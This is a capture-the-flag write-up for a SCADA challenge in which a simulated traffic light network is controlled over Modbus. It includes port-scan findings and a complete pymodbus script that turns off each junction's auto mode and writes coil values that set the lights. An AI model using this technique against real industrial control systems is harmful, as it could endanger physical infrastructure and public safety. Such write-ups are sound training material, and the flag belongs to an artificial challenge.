Our new steam traffic light system is malfunctioning due to increased pressure, which has caused the lights to get stuck. We need to revert the system to manual and change the lights to clear a path through the city for a government vehicle to go through. The path is highlighted in the HMI.

Category: scada

Solver: rgw

Flag: HTB{w3_se3_tH3_l1ght}

Writeup

We receive an IP of the challenge VM. When we scan for ports, we see ports 22, 80 and 502 to be open. First, we look at Port 80. We are greeted with a website containing a road network with six junctions that each have 4 traffic lights. There is also a train with a route:

initial_screenshot.png

road_network.png

The train is waiting for its route to be completely green. Also, there must only be one green traffic light per junction.

Since this is a SCADA challenge, we look at port 502 next. This port is used for the modbus protocol, a data communication protocol used by industrial electronic devices [1].

A communication partner contains multiple units that each have many coils (1 bit r/w) and discrete inputs (1 bit read-only) as well as holding registers (16-bit r/w) and input registers (16-bit r/w). Using the graphical application QModBus, we can look at these registers:

qmodbus.png

First, we notice that the first fourteen holding registers of the first six units contain the string auto_mode:true encoded in ASCII. Because of the challenge specification, we suspect each one corresponds to a traffic light that we might have to change the holding registers to auto_mode:false.

On the website, we look at the API calls and see that every traffic light has three binary values associated with it:

{
  "1": {
    "EG": 0, "ER": 1, "EY": 0, 
    "NG": 1, "NR": 0, "NY": 0, 
    "SG": 0, "SR": 1, "SY": 0, 
    "WG": 0, "WR": 1, "WY": 0
  }, 
  "2": {
    "EG": 0, "ER": 0, "EY": 1, 
    "NG": 0, "NR": 0, "NY": 1, 
    "SG": 0, "SR": 1, "SY": 0, 
    "WG": 0, "WR": 1, "WY": 0
  }, 
  "3": {
    "EG": 1, "ER": 0, "EY": 0, 
    "NG": 0, "NR": 1, "NY": 0, 
    "SG": 0, "SR": 1, "SY": 0, 
    "WG": 0, "WR": 1, "WY": 0
  }, 
  "4": {
    "EG": 0, "ER": 1, "EY": 0, 
    "NG": 0, "NR": 0, "NY": 1, 
    "SG": 0, "SR": 1, "SY": 0, 
    "WG": 0, "WR": 0, "WY": 1
  }, 
  "5": {
    "EG": 0, "ER": 1, "EY": 0, 
    "NG": 1, "NR": 0, "NY": 0, 
    "SG": 0, "SR": 1, "SY": 0, 
    "WG": 0, "WR": 1, "WY": 0
  }, 
  "6": {
    "EG": 1, "ER": 0, "EY": 0, 
    "NG": 0, "NR": 1, "NY": 0, 
    "SG": 0, "SR": 1, "SY": 0, 
    "WG": 0, "WR": 1, "WY": 0
  }, 
  "flag": "University CTF 2021"
}

Since we will have to change these, we look at the coils of all six units. We notice that there are some regions that contain 1s:

qmodbus2.png

We compare the data to the UI on the web site to find out about the color encoding (what is red, yellow and green?), the order of the traffic lights as well as the start addresses of the relevant coils. We see that a green traffic light is represented by 100, a yellow traffic light by 010 and a red traffic light by 001. Also, we notice that the traffic lights ordered in the following way: North, East, South, West.

We write a script to automate changing the traffic lights by using the pymodbus library [2]:

from pymodbus.client.sync import ModbusTcpClient

# A traffic status is a four-letter string in NESW order, e.g. RRGY

ADDRESSES = {
    1: 571,
    2: 1920,
    3: 529,
    4: 1266,
    5: 925,
    6: 886,
}

client = ModbusTcpClient(host='10.129.228.3')
if not client.connect():
    print("could not connect")


def get_traffic_status(bits):
    i = 0
    status = ""
    while i < 12:
        if bits[i]:
            status += "G"
        elif bits[i+1]:
            status += "Y"
        elif bits[i+2]:
            status += "R"
        else:
            status += "?"
        i += 3
    return status

def bits_from_status(status):
    bits = []
    for light in status:
        if light == 'G':
            bits += [True, False, False]
        elif light == 'Y':
            bits += [False, True, False]
        elif light == 'R':
            bits += [False, False, True]
    return bits

def disable_auto_mode(unit):
    rq = client.read_holding_registers(0, 15, unit=unit)
    if rq.isError():
        raise rq
    print("".join([chr(x) for x in rq.registers]))

    rq = client.write_registers(0, [ord(x) for x in "auto_mode:false"], unit=unit)
    if rq.isError():
        raise rq

    rq = client.read_holding_registers(0, 15, unit=unit)
    if rq.isError():
        raise rq
    print("".join([chr(x) for x in rq.registers]))

def read_status(unit):
    rq = client.read_coils(ADDRESSES[i], 12, unit=i)
    if rq.isError():
        raise rq
    return get_traffic_status(rq.bits)

def write_status(unit, status):
    rq = client.write_coils(ADDRESSES[unit], bits_from_status(status), unit=unit)
    if rq.isError():
        raise rq

for i in range(1, 7):
    print(i, read_status(i))

for i in range(1, 7):
    disable_auto_mode(i)

write_status(1, "RRRG")
write_status(2, "GRRR")
write_status(3, "RRGR") # does not matter
write_status(4, "RRRG")
write_status(5, "RRGR") # does not matter
write_status(6, "RRRG")

for i in range(1, 7):
    print(i, read_status(i))

The script changes the traffic lights accordingly and we get the flag:

network_solved.png

Other resources

[1] https://en.wikipedia.org/wiki/Modbus

[2] https://pymodbus.readthedocs.io/en/latest/